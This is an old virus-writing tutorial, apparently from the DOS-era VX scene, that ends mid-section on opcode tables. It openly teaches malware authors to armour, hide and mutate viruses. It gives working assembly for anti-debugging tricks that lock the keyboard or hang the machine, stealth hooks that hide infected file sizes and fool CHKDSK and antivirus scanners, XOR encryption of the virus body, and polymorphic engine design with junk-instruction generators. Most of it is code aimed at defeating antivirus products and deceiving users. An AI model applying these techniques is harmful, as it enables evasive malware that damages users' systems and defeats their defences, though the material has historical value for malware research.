;---[ CUT HERE ]-------------------------------------------------------------

Sorry. I'm a goddman lazy, i know. You can think this is a lame attitude. Maybe. But think i'm making this document at time i'm making some viriis and making some stuff for DDT magazine, so i haven't enough time for make my own decent viruses for this tute. Hey! No one pays me for do this, you know? :)

Armouring your code

This is a very discussed theme in da scene. Many VXers protects their code in order to make AVers life more difficult. Of course we are talking about antidebugging routines. There're a lot of techniques that all we know... but it's good to see a couple of them here... don't you think?

This things have a lot of possible functions. They're a lot of configurable. You can do custom-made routines for yer virus, too. I think put at least one of this routines in your polymorphic engine ( in long-routines table, like Wintermute's Zohra virus ) for fool the AVs which try to decrypt our code. Here we go!

A very useful thing is deactivate keyboard. When we deactivate keyboard the debugger user can't trace anymore ( F7 in TD ). If user runs the program at full speed... no problem. Just an int 3 ( breakpoint ) will do the rest. It is a very simple thing that works pretty good! Let's see some code:

 bye_keyb: 
in al,21h ; Let's deactivate keyboard
or al,02h ; Try to press any key...
out 21h,al

fuck_int3:
int 3h ; Breakpoint

exit_adbg:
in al,21h ; Let's activate keyboard
and al,not 2 ; keyb works now
out 21h,al ; cool :)

This is a good method. Think you can do... deactivate keyboard all time when our virus is being run will: keep the lamer-user get astonished, wont allow him to press damned ^C, all you want to do can be made. Really useful and simple thing.

Another method is play with the stack. Many antidebuggers suck with this old and simple thing. You can do whatever you want with this in order to fuck'em Code? Here you have:

 do_shit_stack: 
neg sp
neg sp

Simple, huh? You can also do a NOT instead of NEG. Same result.

 tons_of_shit: 
not sp
not sp

What a NEG does? It increases register by one and then apply a NOT on the result. But it's a very old trick... you can add it but better search for others, this is not definitive with quality debuggers like S-ICE. But if you are doing a poly engine you can add a simple routine like this and AVP will suck trying to decrypt your virus. Hehe... Kaspersky's babe sux! Erhm.. I forget it... TBCLEAN says "Approached stack crash" :) Ok... continue this shit. Another method you can use is overflow the stack:

 overflower: 
mov ax,sp
mov sp,00h
pop bx
mov sp,ax

Of course... there are more. Another of the classics is to hook int 1 and/or int 3. You have many ways to do this. Well, we offer you some of this shit.

 change_int1_and_int3_using_dos: 
mov ax,2501h ; AL = INT to hook
lea dx,newint ; Take care if we need
int 21h ; Î offset, by adding it... ok?
mov al,03h
int 21h
[...]
newint:
jmp $
iret ; Why if don't used? hehehe :)

This routine can be notified by a TSR watchdog. We recommend you to use the below method. Hookin' by direct manipulation:

 int1: 
xor ax,ax ; Let's try to put an IRET in INT 1
mov es,ax ; We need ES = 0. IVT is in 0000:0000
mov si,word ptr es:[1h*4] ; Get da offset
mov [si],0FEEBh ; a jmp $

int3:
xor ax,ax
mov es,ax
mov si,word ptr es:[3h*4]
mov [si],0FEEBh

If you don't want to hang the computer just replace the 0FEEBh to 0CF90h ( a nop and a iret [ reverse order, of course ] ).

A very cool idea you can have is to make int 3 point to int 21, and then you can use this int instead the int 21. This will be good for two things: fuck debuggers and optimize your code... why it optimize your code? the int 21 opcode is CD 21 ( takes two bytes ), and the int 3 is only CC...

Remember that the int 3 is a breakpoint for debuggers, so everytime you call int 3 the debugger will stop :) Here you have the code:

 getint21: 
mov ax,3521h ; Get interrupt vectors
int 21h
mov word ptr [int21_ofs],bx
mov word ptr [int21_seg],es

mov ax,2503h
lea dx,jumptoint21
int 21h
[...]

jumptoint21 db 0EAh
int21 equ this dword
int21_ofs dw 0000h
int21_seg dw 0000h

We can also make comparisons with the stack in order of know if we're being debugged. Here you have some examples:

 stack_compares: 
push ax
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
jz exit_adbg ; not debugged
jmp $ ; hang computers is cool ;)
exit_adbg:

Remember, if needed, disabling interrupts ( cli ) and enabling later ( sti ) Yes, there are more methods for armour our code. They're so old, but hey! they work! Take a look to the next one... play with the prefetch is very known. I like a lot this method.

[** NOTE : As a guy in i-net remembered me, this WON'T WORK in Pentiums **]

Take a look to this code:

 prefetch: 
mov word ptr cs:fake,0FEEBh ; Why do you think this made
fake: jmp nekst ; if debugged? Yes, hang PC!
nekst: ; Continue with your code here

You can also do much more things with da prefetch. You can jump to a routine or put a hlt ( hangs too )... whatever you want, like this:

 prefetch_fun: 
mov word ptr cs:fake2,04CB4h
fake2: jmp bye_fake
int 21h
bye_fake:

This code will terminate the execution of yer program. Quite kewl. Now, a specific routine for SoftIce ( the best debugger also fooled ).

At least this is a lot of ppl say. More code here:

 soft_ice_fun: 
mov ax,0911h ; Soft-ice function for exec. command
mov di,4647h ; DI = "FG"
mov si,4A4Eh ; SI = "JM"
lea dx,soft_ice_fuck ; Yeah
int 03h ; Int for breakpoints

soft_ice_fuck db "bc *",10,0

Another trick is to hook int 8 and put there a compare to a variable in our resident code, because a lot of debuggers deactivate all interrupts except the int 8. The int 8 is executed 18.2 times in an only second. I recommend you to save the old handler before hook it. Do you want code? here you have

 save_old_int8_handler:                 ; You remember 40-hex magazine? 
mov ax,3508h ; This routine is from issue #7
int 21h
mov word ptr [int8_ofs],bx
mov word ptr [int8_seg],es
push bx es
mov ah,25h ; Put int 8 handler
lea dx,virii
int 21h
fuckin_loop:
cmp fuckvar,1 ; This will cause a little delay
jnz fuckin_loop
pop ds ds

int 21h
mov ax,4C00h
int 21h

fuckvar db 0
int8 equ this dword
int8_ofs dw 0000h
int8_seg dw 0000h
program:
; bla bla bla
mov fuckvar,1
; more and more bla
jmp dword ptr [int8]

There is another trick i love. SoftIce hangs while loading, or it shows an INVALID label, TD, TD32, debug and such like are stoned, so here it goes: Just make something important with int 1, such as redirect it to int 21, for example, and when you need to call int 1, just don't put the normal instruction:

        int     01h

No. Just put the F1 byte. Is an undocumented opcode that occupies only one byte, so it can optimize your code, is higly anti-debugging, so... for what are ya waiting? :)

Remember Demogorgon lesson : " Unprotected code is public domain "

Hey! Be careful if you need the delta offset ( i.e. runtime <g> viruses ), and add it... ok?

Stealth

What is stealth ? Stealth in VX world is the name we give to all this stuff that allow us the possibility of hide the infection symptoms, like file size grow, " Abort, Retry, Ignore " error when we execute a program in a protected to disk write floppy, read the disinfected version of a file, the file date seems to bee good...In another words, make the user believe fake things Stealth is also the name of a VX group ( SGWW ), but this is another history :)

INT 24h stealth

Yes, this is stealth. You can think this stuff is quite old and else, but i believe this is the first attempt to make stealth implemented in viruses. The target is avoid da message " Abort, Retry, Ignore " when we're executing a program in a write-protected floppy, cause the virus want to write, and it does, but DOS notify this error. If the user sees this message will suspect there's something wrong...

This is very easy. All we need is to replace the original INT 24h vectors ( the int that handles critical errors ) to a fake interrupt where the only code is a " mov al,3 " followed by an " iret ".

Let's see:

        mov     ax,3524h 
int 21h
mov word ptr [int24_off],bx
mov word ptr [int24_seg],es

mov ax,2524h
lea dx,int24handler
int 21h
[...]

int24handler:
mov al,3
iret

Directory stealth

There are two kinds of directory stealth: by FCBs and by handles.

FCB stealth:

Do you remember the FCB structure? You can take a look to STRUCTURES chapter if you've alzheimer :)

Well, let's see... Our target here is to susbract the virus size to the actual infected virus size. You must add something like this to your int 21h handler:

        [...] 
cmp ah,11h ; FindFirst ( FCB )
je FCBstealth
cmp ah,12h ; FindNext ( FCB )
je FCBstealth
[...]

Then we create a procedure called FCBstealth ( or the name you like more ), and put in it a fake interrupt call. Then we check if result is 0. If it is, we jump directly to the interrupt return. Else, we continue. Now we push the register what we use ( AX, BX, ES ), and we call to the INT 21h function AH=2Fh, that return us the address of the DTA in ES:BX. It's time to check if the FCB is normal or extended. We can know it by comparing the first byte of FCB ( in ES:[BX] ) with FFh. If it's equal, the FCB is extended, so we fix it by adding 7 bytes to BX. If it's normal we preserve it. Now we check if the file was previously infected. For make our stuff easiest, i will assume that the infection mark is to set up seconds to 60 ( an impossible value ). If it isn't infected, we skip that file. Now it's time to substract the virus size, and... here we have! FCB stealth! Let's see code:

FCB_Stealth: 
pushf
call dword ptr cs:[oldint21] ; Fake call to INT 21h
or al,al ; Optimized cmp al,0
jnz error

push ax bx es

mov ah,2Fh ; Get DTA address in ES:BX
int 21h

cmp byte ptr es:[bx],0FFh ; Is FCB extended ?
jne normal
add bx,07h ; No, fix it
normal:
mov ax,es:[bx+17h] ; Get seconds
and ax,1Fh ; Unmask seconds
xor al,1Eh ; Are seconds = 60 ? ( 30*2 )

jne not_infected ; No, skip it

sub word ptr es:[bx+1Dh],virus_size ; Substract virus size
sbb word ptr es:[bx+1Fh],0 ; With borrow, too

not_infected:
pop es bx ax

error:
retf 02

Handle stealth:

The handle is another way to do the same than FCB stealth. Our objective is the same, hide the size ( and seconds if required )... but the function we must intercept and the things we must change are a little bit different ( if not we used the same code than above ) ;)

Well, the code placed in your INT 21h handler is something like this:

        [...] 
cmp ah,4Eh ; FindFirst ( Handle )
je HandleStealth
cmp ah,4Fh ; FindNext ( Handle )
je HandleStealth
[...]

And now, I'll explain how is a typical routine for Handle stealth. Firstly, we make a fake call to da old INT 21h ( after pushing flags, of course ). After this, we save the registers we're going to use ( AX, BX, ES ), and get the DTA in ES:BX ( AH=2Fh ). We check for previous infection ( secs in ES:[BX+17h] ), and if it's already infected, we substract the virus size to the file size. It's very similar to the above stealth method, but, as you can see, there're some things that make it different :)

A theory lesson is a shit without some code :)

 HandleStealth: 
pushf
call dword ptr cs:[oldint21] ; Fake call to DOS API
jc goback ; CF=1 if error

push ax bx es ; Save registers we use

mov ah,2Fh ; DTA @ ES:BX
int 21h

mov ax,es:[bx+16h] ; Get the file time
and ax,1Fh ; Unmask Seconds
xor al,1Eh ; 60 ? ( Compare in optimized way )
jne damnedpops ; Fuck!

sub word ptr es:[bx+1Ah],virus_size ; Guess...
sbb word ptr es:[bx+1Ch],0

damnedpops:
pop es bx ax ; Get the old values

goback:
retf 02

Problems in directory stealth

There're some problems that need to be fixed, in order to avoid user's panic We need to check if some programs are being run:

  • Compressors, such PKZIP, RAR, ARJ, LHA, AIN, etc. because if we give them an incorrect size, they'll fuck in order to compress files :(
  • Utilities like CHKDSK, that will be fucking around showing a neverending errors list, cause of the size in sectors isn't equal to the size we show to the user eyes :(
  • AVs, like F-PROT, AVP and other SCUM, to prevent their messages about a probable infection by a stealth virus.

So, it's a good idea to waste some code space making comparisons in order to see if one of this program is being run, and then deactivate stealth ( and activate later, when we're outside danger )

INT vectors stealth

This kinda stealth is very easy. When we use this method, we are trying to give the original vectors ( this ones that we caught before install our own interrupt handler ) to the programs that request for it. This is good for some things: our interrupt handler will be always the first. Let's see what we have to add to our INT 21h vectors if we've hooked the said INT.

        [...] 
cmp ax,3521h ; Get INT 21h vectors
je RequestINT21h
cmp ah,2521h ; Put INT 21h vectors
je PutNewINT21h
[...]

And our routines look like this:

 RequestINT21h: 
mov bx,word ptr cs:[int21_off] ; Return in BX the old int offset
mov es,word ptr cs:[int21_seg] ; Return in ES the old int segment
iret

PutNewINT21h:
mov word ptr cs:[int21_seg],ds ; Put the new segment in int21_seg
mov word ptr cs:[int21_off],dx ; " " " offset " int21_off
iret

Time stealth

Here i can't put code because this thing is very personal, it must be custom made to your needs when coding your virus. You can use many ways for mark da infected files... Put seconds to 60, 62... ( impossible ), increase years by 100, make equal seconds and day... The way for obtain time and date is with the function AX=5700h, and for put new values the AX=5701h. In CX goes time, and in DX, date ( the ones we must intercept for make the stealth )

SFT stealth

If you remember the pretty structure called SFT, at offset 11 we had a dword that shows the file size. All we need is to see if the file was already infected, and if it was, substract to the file size the virus size. Let's see a little piece of code ( assuming the infection mark is seconds = 60 and we have called to a routine that gave us the SFT in ES:DI ):

 Infect: 
[...]
mov ax,word ptr es:[di+0Dh] ; Get time
and al,01Fh ; Unmask seconds
cmp al,01Eh ; Seconds = 60 ?
jnz AintInfected ; No, infect it

sub word ptr es:[di+11h],virus_size ; Yes, substract virus size
sbb word ptr es:[di+13h],0000h
[...]
AintInfected:
[...]

There is a good thing you can do for avoid the AVP 3.0 scanning. First, we must know if AVP is here. When AVP 3.0 opens a file, there're some values that let us know it is fucking around ( BX=5, SI=402Dh ). It's time to get SFT, and then make all file zero-size for Kaspersky's son, with two only code lines:

        mov     word ptr es:[di+11h],0000h 
mov word ptr es:[di+13h],0000h

or only one if we can :)

        mov     dword ptr es:[di+11],00000000h

Disinfection on the fly

Here again, i can't give you some code. It must be custom made... Well, i can give you the INT 21h lines, but nothing else:

        [...] 
cmp ah,03Dh ; Open file
jz Disinfect
cmp ax,6C00h ; Extended open
jz Disinfect
cmp ah,03Eh ; Close file ( infect now!!! )
jz Infect
[...]

Now we must note one thing... we must fix some things for make da same routine for AH=3Dh and AX=6C00h.

  1. The file name is in DS:DX in AH=3Dh, and in DS:SI in AX=6C00h
  2. The open mode is in AL in AH=3Dh, and in BL in AX=6C00h

So we need to make a routine for fix the access with the 6C00h function. It probably will look like this:

 Disinfect: 
cmp ax,6C00h
jne Check
cmp dx,1
jne ExitDisinfection
mov al,bl ; Open mode in AL
mov dx,si ; File name is now in DS:DX
Check:
mov ax,5700h
int 21h ; If we've hooked this function,
; we need to make a fake call! ( or
; use SFTs! )
and cl,1Fh ; Unmask seconds
or cl,1Eh ; Is it 60?
jnz NotInfected
[...]

The disinfection way is a routine that you must to do. It can't be as general as FCB stealth, because you can choose between a lot of things. Ok, i'm gonna explain at least how it works.

Disinfection of COM files:

The disinfection of COM files is very easy. We need to restore the first bytes we've changed on infection by the original ones ( usually 3 bytes ), restore the original time/date of the file, and remove the virus body ( truncating the file at offset "end of file - virus size" ).

Disinfection of EXE files:

This is a little bit more hard to do, but not to understand :)
We need to restore the original header of the file, restore the time/date and remove the virus body at the end of the file. But the problem comes when our virus is encrypted. You have to choose between leave this bytes unencrypted ( giving to the AVs the way to disinfect our virus <g> ) or decrypt this bytes. Anyway, it's very simple.

Win9X stealth compatibility

Well, we must take care that in Win9X environments (Win95, Win98) the usual FCB or Handle stealth doesn't work properly. Simply check for function 714Eh (FindFirst for Long File Names) and 714Fh (FindNext for LFN).

Last words about stealth

There're more stealth methods, like 4202 stealth, sector stealth... but i've explained da most simple and used ones. And, BTW, we don't need 4202 stealth if we use SFT stealth :)

Probably the worst thing in some kinds of stealth is the uncompatibilities with some software, that can fuck our need to be hidden.

After reading this, you would wonder why "Is stealth useful ?". The answer is a great YES. This is one of the best methods for conceal the possible infection to the user: the files seem to have the same size than before the infection, when an AV is executed and we have a disinfection routine, this AV won't detect anything ( the same for those niggas that waste their time using an HEX editor in order to see if something's wrong ), and a lot of more things. The best you can do is deactivate stealth when a program like CHKDSK, or PKZIP. All this in yer hands...

Encryption

Encryption techniques are really old, but they're still effective, and very used. Probably is one of da things that survived many years in concept, but with continuous improvements like polymorphism, metamorphism, and such like. Our target is to hide all our text strings, suspicious opcodes, and all our stuff of the user eyes. We can do it with a simple math operation, applied to all bytes of our virus body. For example, we can increase by one all the bytes of our virus, and we can see that there isn't a readable text string or something in our virus :)

The structure of an encrypted virus is like this:

         ⁄-----------------------------------ø      It's very simple. There's 
⁄-| Call to decryptor | a call to the decryptor,
| √-----------------------------------¥---ø when the decryptor ends
| | | | its job, it gives the
| | | | control to the virus, and
| | Infected file | | when the virus ends its
| | | | execution, the control is
| | | | returned to the original
| √-----------------------------------¥-ø | program.
| | | | |
| | Virus body | | |
| | | | |
¿√-----------------------------------¥----Ÿ
| Decryptor | |
¿-----------------------------------Ÿ--Ÿ

There is a math operation that gives us one advantage. We can use the same procedure to encrypt and decrypt our code. Of course we're talking about XOR, the most used instruction for decryptors. There're two more instructions that can be used for our purposes of using the same procedure for encrypt and decrypt: NOT and NEG. The most used of this two is the first one. Of course, we can use a lot of more instructions for encryption. I'll show you a little list of instructions we can use:

INC/DEC, ADD/SUB, ROL/ROR, XOR, NOT, MUL/DIV, ADC/SBB, etc...

The simplest way for encrypt our virus is to use a routine like this:

 encryption: 
mov cx,encrypt_size ; encrypt_end-encrypt_start
mov di,[bp+encrypt_begin] ; From where
mov si,di ; For lodsb/stosb
mov ah,key ; Value for XOR. Subst key with whate
; ver you want
encryption_loop:
lodsb ; Move a byte from DS:SI to AL
xor al,ah
stosb ; Move a byte from AL to ES:DI
loop encryption_loop
ret

This procedure is really poor. It only have 255 possibilities because we're working with a 8-byte register as key ( AL ).

Of course this is the simplest way. We must take note of some things:

  • If we use a routine like this, and we haven't a second copy of our virus in memory ( i will talk about it in this same article ), when using this routine we must left unencrypted the procedure that copies ( and call to encrypt procedure too ) virus to the victim.
  • We must take care of the virus state in its first generation: it's unencrypted. Using xor, we can use the value of 00 to make this, in the first generation, and make a procedure that changes this value in the code, or simply avoid the execution of the encryption routine in the first generation.

Now, we'll see how is the above encryption procedure when using a 16-byte encryption as the key:

 encryption: 
mov cx,(encrypt_size+1)/2 ; encrypt_end-encrypt_start/2
mov di,[bp+encrypt_begin] ; From where
mov si,di ; For lodsw/stosw
mov dx,key ; Value for XOR. Subst key with whate
; ver you want
encryption_loop:
lodsw ; Move a word from DS:SI to AX
xor ax,dx
stosw ; Move a word from AX to ES:DI
loop encryption_loop
ret

The problem is: if we left the copy and encryption procedures unencrypted... what will AV do? They have in our hard worked virus ( yes, yes, the same in what we spend a lot of weeks of work trying to make it anti-heuristic, stealth, with a lot of cool tricks, a new and wonderful stuff...) a scan string enough big for add it to their AV. In 5 minutes they implemented in their AV the way for detect our virus. Argh! A VXer spends days in create a decent virus, and because he used a simple encryptor like this, in 5 minutes our enemies have the way for detect us! This world is really a shit! :(

But, the VXers never surrender, so... We need to make the decryptor as small as possible. Ain't enough. In the next chapter you'll have the best possible answer :)

How we can have a second copy of our virus in memory? It's very simple. After the label that marks the last byte that the virus will copy, we can have something like this:

 virus_end      label   byte            ; The label that marks end of virus 

enc_buffer db (offset virus_end-offset virus_start) dup (090h)

The enc_buffer variable will only have code in the first generation. When we spread the virus, this variable won't be copied within it. But we can use its offset for have a second copy of our virus there. What we can do is...

- When we copy our virus to memory ( in a TSR one ), we make this another time, and when we're putting in the code the EXE header, or the first bytes of the COM, we put them in the same offset where this variables will go shifted by virus size. Ok, i'll explain it better. Imagine we have something like:

        mov     ah,3Fh 
mov cx,4
lea dx,old3bytes
int 21h

Ok. Then, if we have the second copy of the virus in memory, we must subst the third line for something like:

        lea     dx,virus_size+old3bytes

The best way is to experiment with it...

- Or we can copy the virus body just before the appending: we have all the variables set. The movement will be like this:

        mov     cx,virus_size 
xor si,si
mov di,offset virus_begin
rep movsb

We encrypt it, append this second copy and... that's all folks!

Polymorphism

This is one of the most interesting things in a virus. It's also very funny to code a PER ( Polymorphic Encryption Routine ), and it shows clearly how is the " style " of the VXer that coded it. It's also the thing that all beginners think that is very hard to do, and only the experimented VXers can do it. DON'T THINK IT! It's very simple. Don't be afraid. If you've arrived till here alive, i'm sure you'll understand ALL. This chapter is an extension of the ENCRYPTION chapter.

Our objective doing a PER is the neverending one in the VX world : defeat AVs by minimizing the scan string of our viruses, aka FUCK'EM ALL! :) The concept is to generate different decryptors for each infection, so the AVs will suck in order to detect our virus. And this technique, with STEALTH ARMOURING, ANTI-HEURISTICS and ANTI-BAITS can make yer viruses very powerful

Ok, let's begin with the interesting stuff.

History

Da first attempts to make a PER were made by a bulgarian coder, probably one of the bests virus creators ever, called Dark Avenger. His viruses were, are and will be a touch stone for all VXers. From his first viruses, like Eddie, he showed a great quality for coding. But the best stuff came with the release of the MtE ( Mutation Engine ), the first good PER in the VX history All AV researchers went mad in order to find a scan string for the viruses based in this engine. After a lot of hard word ( ??? ) in the AV side they found a reliable scan string for catch MtE. But it was just the beginning. Masud Khafir, member of the TridenT virus research group, developed TPE, Dark Angel of Phalcon Skism developed DAME ( Dark Angel Multiple Encryptor ) and many other virus researchers made other cool engines. When we're talking about the polymorphic engines, we must think that this technique was made in 1992, a long time ago. The had only to fight against scan strings, and this today, is very easy.

But nowadays, the polymorphic engines have a lot of enemies: code analizers, emulators, tracers, heuristics, and experienced AVs figthing againist us. Firstly, VXers thought that da best option for our decryptors was to make it as variable as they can. But the time have demonstrated that it was a wrong idea: AVers will infect THOUSAND of baits, in order to see all possible decryptors the PER can generate. If we show them a very little portion of our possible decryptors ( by using date for generate random, for example ) we're fucking their needs. They have a scan string, but in another computer, in another situation, this scan string won't work. This is called SLOW poly. We'll see this in another place at this same chapter.

Introduction

A polymorphic engine is da most personal thing a coder can do. At this point i must say to you that use the polymorphy of another coder isn't as good idea as it appear to be. It's very easy to code a decent PER, but if you use one of another coder, you'll be limited when coding your virus.

We need to generate a decryptor, also placing junk among the real decryption opcodes, with fake jumps, calls, antidebugging, and all we want to... Let's see what we must put for make our PER decent...

  • Generate many ways to reach the same point
  • Changing the order of the opcodes that we can.
  • Can be used in another viruses
  • Can generate calls to do nothing INT 21h functions
  • Can generate calls to do nothing interrupts
  • If we want, we can make it slow poly
  • Minimize all possible scan strings
  • Protect the instruction generator with armour, and make it very hard to disassemble.

When you're doing a PER, the imagination is a very good weapon. Use it for generate as many original things as you can.

The first steps in polymorphism

The easiest way to make a decryptor that changes every virus generation is create a junk generator, and then put some decryptor instructions followed by do-nothing instructions. This is the first attempt you can do if you haven't created an engine. The first kind of junk are the one byters, those simple instructions that generally we use. We must choose before do nothing, all the junk registers. I usually use AX, BX and DX.

Let's see a little table of one byters:

 OneByteTable: 
db 09Eh ; sahf
db 090h ; nop
db 0F8h ; clc
db 0F9h ; stc
db 0F5h ; cmc
db 09Fh ; lahf
db 0CCh ; int 3h
db 048h ; dec ax
db 04Bh ; dec bx
db 04Ah ; dec dx
db 040h ; inc ax
db 043h ; inc bx
db 042h ; inc dx
db 098h ; cbw
db 099h ; cwd
EndOneByteTable:

With a simple routine that places real instructions, and other that places junk, we have a very simple polymorphic engine. It's useful for our first steps, but if you're coding a good virus, u must know one thing... if there are a lot of do-nothing instructions like this, be sure AV will show a flag.

Erhm... how we can get one of this instructions? Pretty simple:

 GenerateOneByteJunk: 
lea si,OneByteTable ; Offset of the table
call random ; Must generate random numbers
and ax,014h ; AX must be within 0 and 14 ( 15 )
add si,ax ; Add AX ( AL ) to the offset
mov al,[si] ; Put selected opcode in al
stosb ; And store it in ES:DI ( points to
; the decryptor instructions )
ret

And, of course, we need a random number generator. Here you have da simplest one:

 Random: 
in ax,40h ; This will generate a random number
in al,40h ; in AX
ret

With da above routines, that we can do is a very bad engine. Our targets are another, so pay attention to the next parts of this chapter.

Some ways to make a simple operation

There are nearly infinite ( not at all... just millions of possibilities ) :) ways to perform a simple instruction task. Let's imagine a " mov dx,1234h ", without using another register:

        mov     dx,1234h 

push 1234h
pop dx

mov dx,1234h xor 5678h
xor dx,5678h

mov dh,12h
mov dl,34h

xor dx,dx
or dx,1234h

mov dx,not 1234h
not dx
[...]

And we can do more and more combinations. And of course, if we use another register for perform our task, the possibilities increases a lot.

Changing instruction order

There are a lot of instructions that we can code in the order we want. And this, combinated with the ways to perform a simple instructions, can make our polymorphic engine really powerful.

Usually, about all da instructions before the decryption loop can be placed in any order, except all the PUSH/POP combinations, and the related stuff. We are talking about this instructions that don't depend of another for make its job. Let's see an example:

        mov     cx,encrypt_size 
mov si,encrypt_begin
mov di,encrypt_key

We can put this instructions in the order we want, a random order :) It will do the same stuff if it looks like:

        mov     di,encrypt_key 
mov cx,encrypt_size
mov si,encrypt_begin

And in this way, all the possible combinations.

Portability

It's quite easy to do a portable polymorphic engine. All we must do is to make our PER use parameters. For example, we can use CX for handle the size to encrypt, DS:DX point to da code to encrypt, and else. So, in this way, we can use our engine in the virus we want.

Tables against Blocks

Table based PER:

The spirit of this kinda engine types it to have all the offsets of the routines that generate junk ( one byters, fake int calls, math ops... ) in another table. Then, with a random value, we call to one of this offsets, and generate a random junk. Let's see an example:

 RandomJunk: 
call Random ; Random number in AX
and ax,(EndRandomJunkTable-RandomJunkTable)/2
add ax,ax ; AX*2
xchg si,ax
add si,offset RandomJunkTable ; Point to table
lodsw
call ax ; Call to random table offset
ret

RandomJunkTable:
dw offset GenerateOneByteJunk
dw offset GenerateMovRegImm
dw offset GenerateMovRegMem
dw offset GenerateMathOp
dw offset GenerateArmour
dw offset GenerateCalls
dw offset GenerateJumps
dw offset GenerateINTs
[...]
EndRandomJunkTable:

It's very easy to add new routines to a table based PER, and this kinda engines can be very optimized ( depending of coder ).

Block based PER:

Our objective is to make, for each instruction of the decryptor, some blocks of a fixed size. We've one example of this kinda engine in the Elvira virus, by Spanska, published in 29A#2. Let's see an example of one of the blocks in the Elvira engine, the one used for compare CX with 0. Each block has a defined size ( 6 bytes ).

        cmp cx, 0 
nop
nop
nop

nop
nop
nop
cmp cx, 0

nop
or cx, cx
nop
nop
nop

nop
nop
nop
or cx, cx
nop

test cx, 0FFFFh
nop
nop

or cl, cl
jne suite_or
or ch, ch
suite_or:

mov bx, cx
inc bx
cmp bx, 1

inc cx
cmp cx, 1
dec cx
nop

dec cx
cmp cx, 0FFFFh
inc cx
nop

Ass you can see, it's more easy to add new blocks to do the same task. But this kinda engines have one weak point: the size. The Elvira's engine sucks about the half size of the virus: 4250 bytes is the virus size, engine sucks 2000-2500 bytes of da virus. The good thing is that with adding more blocks, we can create new strains for the virus, and make it still undetectable by AVers :)

And the winner is....

I think tables are the solution, because we can generate all the possible combinations of blocks, and more. The blocks are the solution for all da ppl that don't want to make their lifes a living hell :)

Instructions

Here is the base of all polymorphic engines, da way to generate instructions with random registers, values, memory positions...

˛ Notations:

 Symbol         Explanation 
-----Ÿ ----------Ÿ
imm8 byte immediate operand
imm16 word immediate operand
reg8 byte register operand
reg16 word register operand
mem8 byte memory operand
mem16 word memory operand
regmem8 byte reg/mem operand
regmem16 word reg/mem operand
d8 byte memory offset displacement
d16 word memory offset displacement
sig8 byte signed operand
sig16 word signed operand
sig32 offset:segment operand
^0,^1, etc Reg field of the RegInfo byte contains this num as Op. info

RegInfoByte needs the below fields
reg a code that keeps the register to be used
sreg a code that keeps the segment register
r/m how is the instruction made ( based, indexed, two regs... )
mod who makes the indexing ( DI, BP... )
dir the direction
w word mark

OpCode skeleton

 ⁄-----------------------------------------------------------------------ø 
| 8 bits 2 3 3 8 or 16 bits 8 or 16 bits |
| …ÕÕÕÕÕÕÕÕÕÕÕÕÕª …ÕÕÕÕÕ—ÕÕÕÕÕ—ÕÕÕÕÕª …ÕÕÕÕÕÕÕÕÕÕÕÕÕÕª …ÕÕÕÕÕÕÕÕÕÕÕÕÕÕª |
| ∫ Instruction ∫ ∫ MOD | REG | R/M ∫ ∫ Displacement ∫ ∫ Data ∫ |
| »ÕÕÕÕÕÕÕÕÕÕÕÕÕº »ÕÕÕÕÕœÕÕÕÕÕœÕÕÕÕÕº »ÕÕÕÕÕÕÕÕÕÕÕÕÕÕº »ÕÕÕÕÕÕÕÕÕÕÕÕÕÕº |
| 1 byte 1 byte 1 or 2 bytes 1 or 2 bytes |
¿-----------------------------------------------------------------------Ÿ

Reg field

 Reg value       00  01  02  03  04  05  06  07 
       
Byte registers  AL CL DL BL AH CH DH BH
Word registers  AX CX DX BX SP BP SI DI
Extended regs  EAX ECX EDX EBX ESP EBP ESI EDI

How we can know if the register is byte or word? Easy, with the w byte. If it's set to 1 it's a word, and if it's 0, we're talking about a byte reg.

Sreg field

 Sreg value  01 03 05 07 
   
Segment  ES CS SS DS

R/M field and Mod field

 R/M value  00  Mod 

000  [BX+SI]
001  [BX+DI]
010  [BP+SI]
011  [BP+DI]
100  [SI]
101  [DI]
110  d16
111  [BX]

R/M value  01 Mod

000  [BX+SI+d8]
001  [BX+DI+d8]
010  [BP+SI+d8]
011  [BP+DI+d8]
100  [SI+d8]
101  [DI+d8]
110  [BP+d8]
111  [BX+d8]

R/M value  10 Mod

000  [BX+SI+d16]
001  [BX+DI+d16]
010  [BP+SI+d16]
011  [BP+DI+d16]
100  [SI+d16]
101  [DI+d16]
110  [BP+d16]
111  [BX+d16]

R/M value  11 Mod Byte Word
  
000  AL AX
001  CL CX
010  DL DX
011  BL BX
100  AH SP
101  CH BP
110  DH SI
111  BH DI

Direction field

If it's 0, the movement goes from reg to mod, and if it's 1, vice-versa, but please note that TBSCAN will trigger a flag if a instruction goes with dir. field at 0, coz this can never be generated by an assembler.

˛ OpCodes:

 ⁄-------ø 
| MOV |
¿-------Ÿ

This instruction is the most used so far in assembly. It's also the one that has more ways to code. BEWARE! It has some optimized variants, as you can see, for AL/AX. You must make da code for this registers just like an assembler program does, if not, the heuristic analyzers will fuck yer code!

 MOV reg8,imm8         B0+RegByte imm8 
MOV reg16,imm16  B8+RegWord imm16
MOV AL,mem8  A0 mem8
MOV AX,mem16  A1 mem16
MOV mem8,AL  A2 mem8
MOV mem16,AX  A3 mem16
MOV reg8,regmem8  8A RegInfoByte
MOV reg16,regmem16  8B RegInfoByte
MOV regmem8,reg8  88 RegInfoByte
MOV regmem16,reg16  89 RegInfoByte
MOV regmem8,imm8  C6 ^0
MOV regmem16,imm16  C7 ^0
MOV reg16,segmentreg  8C RegInfoByte
MOV segmentreg,reg16  8E RegInfoByte

⁄--------ø
| XCHG |
¿--------Ÿ

As in MOV instruction, this OpCode is optimized for use AX.

 XCHG AX,reg16        90+RegWord 
XCHG reg8,regmem8  86 RegInfoByte
XCHG regmem8,reg8  86 RegInfoByte
XCHG reg16,regmem16  87 RegInfoByte
XCHG regmem16,reg16  87 RegInfoByte

⁄---------------------ø
| Segment Overrides |
¿---------------------Ÿ

This aren't full instructions. They are prefixes, so this OpCodes must be placed before the instruction.

 SEGCS  2E 
SEGDS  3E
SEGES  26
SEGSS  36

⁄--------------------ø
| Stack Operations |
¿--------------------Ÿ

This instructions are used for get/put/manipulate values in/to/from stack.

 PUSH reg16     50+RegWord 
PUSH regmem16  FF ^6
PUSH imm8  6A imm8
PUSH imm16  68 imm16
PUSH CS  0E
PUSH DS  1E
PUSH ES  06
PUSH SS  16
PUSHA  60
PUSHF  9C
POP reg16  58+RegWord
POP regmem16  8F ^0 imm16
POP DS  1F
POP ES  07
POP SS  17
POPA  61
POPF  9D

⁄-------------------ø
| Flag Operations |
¿-------------------Ÿ

